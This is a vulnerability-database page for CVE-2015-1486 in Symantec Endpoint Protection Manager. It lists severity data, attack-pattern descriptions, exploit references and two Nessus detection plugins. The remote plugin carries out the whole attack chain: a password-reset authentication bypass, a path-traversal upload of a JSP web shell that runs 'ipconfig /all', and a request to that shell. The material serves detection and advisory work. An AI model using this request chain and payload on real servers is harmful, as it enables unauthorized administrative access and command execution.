Vulnerabilities > CVE-2015-1486 - Improper Authentication vulnerability in Symantec Endpoint Protection Manager 12.1.0

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
symantec
CWE-287
nessus
exploit available
metasploit

Summary

The management console in Symantec Endpoint Protection Manager (SEPM) 12.1 before 12.1-RU6-MP1 allows remote attackers to bypass authentication via a crafted password-reset action that triggers a new administrative session.

Vulnerable Configurations

Part Description Count
Application
Symantec
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

D2sec

nameSymantec Endpoint Protection Manager File Upload
urlhttp://www.d2sec.com/exploits/symantec_endpoint_protection_manager_file_upload.html

Exploit-Db

descriptionSymantec Endpoint Protection Manager Authentication Bypass and Code Execution. CVE-2015-1486,CVE-2015-1487,CVE-2015-1489. Remote exploit for win32 platform
fileexploits/windows_x86/remote/37812.rb
idEDB-ID:37812
last seen2016-02-04
modified2015-08-18
platformwindows_x86
port8443
published2015-08-18
reportermetasploit
sourcehttps://www.exploit-db.com/download/37812/
titleSymantec Endpoint Protection Manager Authentication Bypass and Code Execution
typeremote

Metasploit

descriptionThis module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM. The vulnerabilities include an authentication bypass, a directory traversal and a privilege escalation to get privileged code execution.
idMSF:EXPLOIT/WINDOWS/HTTP/SEPM_AUTH_BYPASS_RCE
last seen2020-06-02
modified2017-07-24
published2015-08-01
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/sepm_auth_bypass_rce.rb
titleSymantec Endpoint Protection Manager Authentication Bypass and Code Execution

Nessus

  • NASL familyWindows
    NASL idSYMANTEC_ENDPOINT_PROT_MGR_SYM15-007.NASL
    descriptionThe version of Symantec Endpoint Protection Manager (SEPM) installed on the remote host is prior to 12.1 RU6 MP1. It is, therefore, affected by the following vulnerabilities : - A flaw exists in the password reset functionality that allows a remote attacker, using a crafted password reset action, to generate a new administrative session, thus bypassing authentication. (CVE-2015-1486) - A flaw exists related to filename validation in a console session that allows an authenticated, remote attacker to write arbitrary files. (CVE-2015-1487) - A flaw exists in an unspecified action handler that allows an authenticated, remote attacker to read arbitrary files. (CVE-2015-1488) - An unspecified flaw exists that allows an authenticated, remote attacker to manipulate SEPM services and gain elevated privileges. (CVE-2015-1489) - A flaw exists that allows traversing outside of a restricted path, due to a failure to properly sanitize user-supplied input. An authenticated, remote attacker, using a specially crafted installation package, can exploit this to access files outside of the restricted path. (CVE-2015-1490) - A SQL injection vulnerability exists due to a failure to properly sanitize user-supplied input before building SQL queries. An authenticated, remote attacker can exploit this to disclose or manipulate data in the back-end database. (CVE-2015-1491) - A flaw in how Symantec Endpoint Protection clients load dynamic-link libraries allows an authenticated attacker to replace legitimate client libraries with malicious ones, thus injecting executable code. (CVE-2015-1492) - A flaw exists in the /servlet/AgentServlet script due to improper sanitization of user-supplied input before using it in SQL queries. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries against the back-end database, resulting in the disclosure or manipulation of arbitrary data. - A flaw exists in the SecurityAlertNotifyTask class due to improper sanitization of user-supplied input. An authenticated, remote attacker can exploit this to execute arbitrary commands. - A flaw exists in Rtvscan.exe related to searching and loading dynamic-link library (DLL) files due to using an insecure search path which may include directories that are not trusted or under the user
    last seen2020-06-01
    modified2020-06-02
    plugin id85256
    published2015-08-06
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/85256
    titleSymantec Endpoint Protection Manager 11.x / 12.x < 12.1 RU6 MP1 Multiple Vulnerabilities (SYM15-007)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(85256);
      script_version("1.14");
      script_cvs_date("Date: 2019/11/22");
    
      script_cve_id(
        "CVE-2015-1486",
        "CVE-2015-1487",
        "CVE-2015-1488",
        "CVE-2015-1489",
        "CVE-2015-1490",
        "CVE-2015-1491",
        "CVE-2015-1492"
      );
      script_bugtraq_id(
        76074,
        76077,
        76078,
        76079,
        76081,
        76083,
        76094
      );
      script_xref(name:"EDB-ID", value:"37812");
    
      script_name(english:"Symantec Endpoint Protection Manager 11.x / 12.x < 12.1 RU6 MP1 Multiple Vulnerabilities (SYM15-007)");
      script_summary(english:"Checks the SEPM version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The version of Symantec Endpoint Protection Manager installed on the
    remote host is affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Symantec Endpoint Protection Manager (SEPM) installed
    on the remote host is prior to 12.1 RU6 MP1. It is, therefore,
    affected by the following vulnerabilities :
    
      - A flaw exists in the password reset functionality that
        allows a remote attacker, using a crafted password reset
        action, to generate a new administrative session, thus
        bypassing authentication. (CVE-2015-1486)
    
      - A flaw exists related to filename validation in a
        console session that allows an authenticated, remote
        attacker to write arbitrary files. (CVE-2015-1487)
    
      - A flaw exists in an unspecified action handler that
        allows an authenticated, remote attacker to read
        arbitrary files. (CVE-2015-1488)
    
      - An unspecified flaw exists that allows an authenticated,
        remote attacker to manipulate SEPM services and gain
        elevated privileges. (CVE-2015-1489)
    
      - A flaw exists that allows traversing outside of a
        restricted path, due to a failure to properly sanitize
        user-supplied input. An authenticated, remote attacker,
        using a specially crafted installation package, can
        exploit this to access files outside of the restricted
        path. (CVE-2015-1490)
    
      - A SQL injection vulnerability exists due to a failure to
        properly sanitize user-supplied input before building
        SQL queries. An authenticated, remote attacker can
        exploit this to disclose or manipulate data in the
        back-end database. (CVE-2015-1491)
    
      - A flaw in how Symantec Endpoint Protection clients load
        dynamic-link libraries allows an authenticated attacker
        to replace legitimate client libraries with malicious
        ones, thus injecting executable code. (CVE-2015-1492)
    
      - A flaw exists in the /servlet/AgentServlet script due to
        improper sanitization of user-supplied input before
        using it in SQL queries. An unauthenticated, remote
        attacker can exploit this to inject or manipulate SQL
        queries against the back-end database, resulting in the
        disclosure or manipulation of arbitrary data.
    
      - A flaw exists in the SecurityAlertNotifyTask class due
        to improper sanitization of user-supplied input. An
        authenticated, remote attacker can exploit this to
        execute arbitrary commands.
    
      - A flaw exists in Rtvscan.exe related to searching and
        loading dynamic-link library (DLL) files due to using
        an insecure search path which may include directories
        that are not trusted or under the user's control. An
        attacker can exploit this, by injecting a crafted DLL
        file into path, to execute arbitrary code with the
        privileges of the user.");
      # https://support.symantec.com/en_US/article.SYMSA1330.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?647383e8");
      # https://codewhitesec.blogspot.com/2016/02/symantec-endpoint-protection-legacy-edition.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?74c04e62");
      # https://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?135bc3c2");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Symantec Endpoint Protection Manager version 12.1 RU6 MP1
    or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1492");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Endpoint Protection Manager File Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2015/07/30");
      script_set_attribute(attribute:"patch_publication_date", value:"2015/07/30");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/08/06");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:endpoint_protection_manager");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Windows");
    
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("symantec_endpoint_prot_mgr_installed.nasl");
      script_require_keys("installed_sw/Symantec Endpoint Protection Manager");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("install_func.inc");
    
    app = 'Symantec Endpoint Protection Manager';
    
    install = get_single_install(app_name:app, exit_if_unknown_ver:TRUE);
    
    version = install['version'];
    path    = install['path'   ];
    
    fixed_ver = '12.1.6306.6100';
    
    if (version =~ "^(12\.1|11\.0)(\.|$)" && ver_compare(ver:version, fix:fixed_ver, strict:FALSE) == -1)
    {
      port = get_kb_item("SMB/transport");
      if (!port)
        port = 445;
    
      items = make_array("Path", path, "Installed version", version, "Fixed version", fixed_ver);
      order = make_list("Path", "Installed version", "Fixed version");
    
      report = report_items_str(report_items:items, ordered_fields:order);
      security_report_v4(port:port, extra:report, sqli:TRUE, severity:SECURITY_HOLE);
      exit(0);
    }
    else
      audit(AUDIT_INST_PATH_NOT_VULN, app, version, path);
    
  • NASL familyCGI abuses
    NASL idSYMANTEC_ENDPOINT_PROT_MGR_SYM15-007_REMOTE.NASL
    descriptionThe version of Symantec Endpoint Protection Manager (SEPM) running on the remote host is prior to 12.1 RU6 MP1. It is, therefore, affected by the following vulnerabilities : - A flaw exists in the password reset functionality that allows a remote attacker, using a crafted password reset action, to generate a new administrative session, thus bypassing authentication. (CVE-2015-1486) - A flaw exists related to filename validation in a console session that allows an authenticated, remote attacker to write arbitrary files. (CVE-2015-1487) - An unspecified flaw exists that allows an authenticated, remote attacker to manipulate SEPM services and gain elevated privileges. (CVE-2015-1489) Nessus attempts to use the authentication bypass flaw in conjunction with the arbitrary file upload and path traversal flaws to test the issue on the remote server. If this test succeeds, it is likely that the application is also affected by other vulnerabilities, including a SQL Injection.
    last seen2020-06-01
    modified2020-06-02
    plugin id85351
    published2015-08-13
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/85351
    titleSymantec Endpoint Protection Manager < 12.1 RU6 MP1 Multiple Vulnerabilities (SYM15-007)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(85351);
      script_version("1.12");
      script_cvs_date("Date: 2019/11/22");
    
      script_cve_id("CVE-2015-1486", "CVE-2015-1487", "CVE-2015-1489");
      script_bugtraq_id(76074, 76078, 76094);
    
      script_name(english:"Symantec Endpoint Protection Manager < 12.1 RU6 MP1 Multiple Vulnerabilities (SYM15-007)");
      script_summary(english:"Attempts to exploit the issue.");
    
      script_set_attribute(attribute:"synopsis", value:
    "An application running on the remote host is affected by multiple
    vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Symantec Endpoint Protection Manager (SEPM) running
    on the remote host is prior to 12.1 RU6 MP1. It is, therefore,
    affected by the following vulnerabilities :
    
      - A flaw exists in the password reset functionality that
        allows a remote attacker, using a crafted password reset
        action, to generate a new administrative session, thus
        bypassing authentication. (CVE-2015-1486)
    
      - A flaw exists related to filename validation in a
        console session that allows an authenticated, remote
        attacker to write arbitrary files. (CVE-2015-1487)
    
      - An unspecified flaw exists that allows an authenticated,
        remote attacker to manipulate SEPM services and gain
        elevated privileges. (CVE-2015-1489)
    
    Nessus attempts to use the authentication bypass flaw in conjunction
    with the arbitrary file upload and path traversal flaws to test the
    issue on the remote server. If this test succeeds, it is likely that
    the application is also affected by other vulnerabilities, including
    a SQL Injection.");
      # https://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?135bc3c2");
      # https://support.symantec.com/en_US/article.SYMSA1330.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?647383e8");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Symantec Endpoint Protection Manager 12.1 RU6 MP1 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Endpoint Protection Manager File Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Symantec Endpoint Protection Manager Authentication Bypass and Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2015/07/30");
      script_set_attribute(attribute:"patch_publication_date", value:"2015/07/30");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/08/13");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:endpoint_protection_manager");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("symantec_endpoint_prot_mgr_detect.nasl");
      script_require_keys("installed_sw/sep_mgr");
      script_require_ports("Services/www", 9090);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    app = 'Symantec Endpoint Protection Manager';
    get_install_count(app_name:"sep_mgr", exit_if_zero:TRUE); # Stops port branching
    
    port = get_http_port(default:9090);
    
    install = get_single_install(app_name:"sep_mgr", port:port);
    
    url = build_url(port:port, qs:install["dir"]);
    req = make_list();
    
    
    # The first request takes a bit longer than most requests
    http_set_read_timeout(30);
    # First we make the request to reset the password
    item ="/servlet/ConsoleServlet?ActionType=ResetPassword&UserID=admin&Domain=";
    res  = http_send_recv3(
      port         : port,
      method       : "POST",
      item         : item,
      exit_on_fail : TRUE
    );
    # Bail out for unexpected response
    if("200 OK" >!< res[0] || "Server: SEPM" >!< res[1])
      audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
    req[0] = http_last_sent_request();
    
    time = unixtime();
    file = "nessus_"+SCRIPT_NAME - ".nasl" + '-' + time + '.jsp';
    dat  = '<%=new java.util.Scanner(Runtime.getRuntime().exec("ipconfig /all").getInputStream()).useDelimiter("\\\\A").next()%>';
    item = "/servlet/ConsoleServlet?ActionType=BinaryFile&KnownHosts=.&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/"+file;
    res  = http_send_recv3(
      port         : port,
      method       : "POST",
      item         : item,
      data         : dat,
      exit_on_fail : TRUE
    );
    # Bail out for unexpected response
    if("200 OK" >!< res[0] || "Server: SEPM" >!< res[1])
      audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
    req[1] = http_last_sent_request();
    
    res = http_send_recv3(
      port         : port,
      method       : "GET",
      item         : "/"+file,
      exit_on_fail : TRUE
    );
    req[2] = http_last_sent_request();
    # Bail out for unexpected response
    if("200 OK" >!< res[0] || "Server: SEPM" >!< res[1])
      audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
    output = chomp(res[0]+res[1]+res[2]);
    
    # Final check to make sure we were able to exploit
    if("200 OK" >!< output ||  "Subnet Mask" >!< output)
      audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
    
    security_report_v4(
      port         : port,
      request      : req,
      output       : output,
      severity     : SECURITY_HOLE,
      rep_extra    : "Note: This file has not been removed by Nessus and will need to be manually deleted ("+file+")",
      cmd          : "ipconfig /all"
    );
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/133112/sepm_auth_bypass_rce.rb.txt
idPACKETSTORM:133112
last seen2016-12-05
published2015-08-17
reporterBrandon Perry
sourcehttps://packetstormsecurity.com/files/133112/Symantec-Endpoint-Protection-Manager-Authentication-Bypass-Code-Execution.html
titleSymantec Endpoint Protection Manager Authentication Bypass / Code Execution

Saint

bid76074
descriptionSymantec Endpoint Protection Manager authentication bypass
titlesymantec_epm_auth_bypass
typeremote